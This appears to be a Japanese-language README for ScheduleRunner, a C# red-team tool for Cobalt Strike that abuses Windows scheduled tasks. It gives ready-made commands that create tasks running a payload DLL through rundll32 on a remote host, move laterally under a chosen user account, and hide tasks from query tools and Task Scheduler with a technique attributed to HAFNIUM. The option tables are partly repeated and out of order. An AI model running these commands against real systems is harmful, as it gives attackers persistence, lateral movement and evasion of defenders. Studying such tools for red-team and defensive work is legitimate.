
スケジュールタスクは過去10年間で最も人気のある攻撃手法の一つであり、現在もハッカー/レッドチームによって永続化と横断移動のために一般的に使用されています。
スケジュールタスクを使用した攻撃をシミュレートするために、多数のC#ツールが既に開発されています。私はそのうちのいくつかを試してきましたが、それぞれにスケジュールタスクのカスタマイズにおける制限がありました。そのため、このプロジェクトは、私が必要とする機能を含み、スケジュールタスクのカスタマイズに十分な柔軟性を提供するC#ツール(CobaltStrikeのexecute-assemblyに対応)を提供することを目的としています。

| メソッド | 機能 |
|---|---|
| create | 新しいスケジュールタスクを作成する |
| delete | 既存のスケジュールタスクを削除する |
| run | 既存のスケジュールタスクを実行する |
| query | スケジュールタスクまたはフォルダ内の全スケジュールタスクの詳細を照会する |
| queryfolders | スケジュールタスク内のすべてのサブフォルダを照会する |
| move | スケジュールタスクを使用して横断移動を実行する(自動的に作成、実行、削除) |
[*] は必須フィールドです。
| オプション | 機能 |
|---|---|
| [*] /taskname | スケジュールタスクの名前を指定する |
| /folder | スケジュールタスクが保存されるフォルダを指定する(デフォルト:\) |
[*] は必須フィールドです。
| オプション | 機能 |
|---|---|
| [*] /taskname | スケジュールタスクの名前を指定する |
| /folder | スケジュールタスクが保存されるフォルダを指定する(デフォルト:\) |
| /remoteserver | リモートコンピュータのホスト名またはIPアドレスを指定する |
[*] は必須フィールドです。
| オプション | 機能 |
|---|---|
| /taskname | スケジュールタスクの名前を指定する |
| /folder | スケジュールタスクが保存されるフォルダを指定する(デフォルト:\) |
| /remoteserver | リモートコンピュータのホスト名またはIPアドレスを指定する |
[*] は必須フィールドです。
[*] は必須フィールドです。
"Cleanup"という名前のスケジュールタスクを作成し、毎日午後11時30分に実行する
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
"Cleanup"という名前のスケジュールタスクをリモートサーバー上で4時間ごとに実行する
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
"Cleanup"という名前のスケジュールタスクを削除する
ScheduleRunner.exe /method:delete /taskname:Cleanup
"Cleanup"という名前のスケジュールタスクを実行する
ScheduleRunner.exe /method:run /taskname:Cleanup
リモートサーバー上の"\Microsoft\Windows\CertificateServicesClient"フォルダ内の"Cleanup"というスケジュールタスクの詳細を照会する
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
リモートサーバー上の"\Microsoft\Windows\CertificateServicesClient"フォルダ内のすべてのスケジュールタスクを照会する
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
スケジュールタスク内のすべてのサブフォルダを照会する
ScheduleRunner.exe /method:queryfolders
スケジュールタスクを使用して、特定のユーザーアカウントでリモートサーバーに横断移動を実行する
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
スケジュールタスク隠蔽手法を使用して、"Cleanup"というスケジュールタスクを作成する:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
スケジュールタスク隠蔽手法を使用した"Cleanup"というスケジュールタスクを削除する:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
この手法は、脅威アクターHAFNIUMによって使用され、最近Microsoftによって発見されました。これは、スケジュールタスクをツールで照会できなくし、タスクスケジューラで表示できなくすることを目的としています。
この手法を使用するには、"NT AUTHORITY/SYSTEM"が必要であり、ScheduleRunnerは次の処理を自動的に実行します:
この手法で作成されたスケジュールタスクを削除するには、削除メソッドに"/technique:hide"を追加して適切に削除する必要があります。
タスクはレジストリ経由で削除された場合でも、次のシステム再起動まで実行され続けます。したがって、運用においてサーバーでこの手法を使用しないほうがよいでしょう。

| ライブラリ | リンク |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| オプション | 機能 |
|---|
| [*] /taskname | スケジュールタスクの名前を指定する |
| [*] /program | タスクが実行するプログラムを指定する |
| [*] /trigger | スケジュールの種類を指定する。有効な値は、"minute"、"hourly"、"daily"、"weekly"、"onstart"、"onlogon"、"onidle" です。 |
| /modifier | スケジュールの種類内でタスクが実行される頻度を指定する。"minute"(例:1-1439分)、"hourly"(例:1-23時間)、"weekly"(例:mon,sat,sun)などのスケジュールタイプにのみ適用されます。 |
| /starttime | 日次のスケジュールタイプの開始時刻を指定する(例:23:30) |
| /argument | プログラムのコマンドライン引数を指定する |
| /folder | スケジュールタスクが保存されるフォルダを指定する(デフォルト:\) |
| /workingdir | スケジュールタスクが実行される作業ディレクトリを指定する |
| /author | スケジュールタスクの作成者を指定する |
| /description | スケジュールタスクの説明を指定する |
| /remoteserver | リモートコンピュータのホスト名またはIPアドレスを指定する |
| /user | 指定されたユーザーアカウントでタスクを実行する |
| /technique | 回避手法を指定する: - "hide": HAFNIUMマルウェアが使用する手法で、スケジュールタスクをタスククエリから隠します。 [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] この手法はリモートレジストリの権限のため、リモート実行をサポートしません。"NT AUTHORITY\SYSTEM"が必要であり、タスクは削除後もシステム再起動まで実行され続けます。 |
| /remoteserver | リモートコンピュータのホスト名またはIPアドレスを指定する |
| /technique | スケジュールタスクが回避手法を使用して作成された場合に指定する: - "hide": "スケジュールタスク隠蔽"手法を使用して作成されたスケジュールタスクを削除する [!] 削除には"NT AUTHORITY\SYSTEM"が必要であり、タスクは削除後もシステム再起動まで実行され続けます。 |
| オプション | 機能 |
|---|
| [*] /taskname | スケジュールタスクの名前を指定する |
| [*] /program | タスクが実行するプログラムを指定する |
| [*] /remoteserver | リモートコンピュータのホスト名またはIPアドレスを指定する |
| /trigger | スケジュールの種類を指定する。有効な値は、"minute"、"hourly"、"daily"、"weekly"、"onstart"、"onlogon"、"onidle" です。 |
| /modifier | スケジュールの種類内でタスクが実行される頻度を指定する。"minute"(例:1-1439分)、"hourly"(例:1-23時間)、"weekly"(例:mon,sat,sun)などのスケジュールタイプにのみ適用されます。 |
| /starttime | 日次のスケジュールタイプの開始時刻を指定する(例:23:30) |
| /argument | プログラムのコマンドライン引数を指定する |
| /folder | スケジュールタスクが保存されるフォルダを指定する(デフォルト:\) |
| /workingdir | スケジュールタスクが実行される作業ディレクトリを指定する |
| /author | スケジュールタスクの作成者を指定する |
| /description | スケジュールタスクの説明を指定する |
| /user | 指定されたユーザーアカウントでタスクを実行する |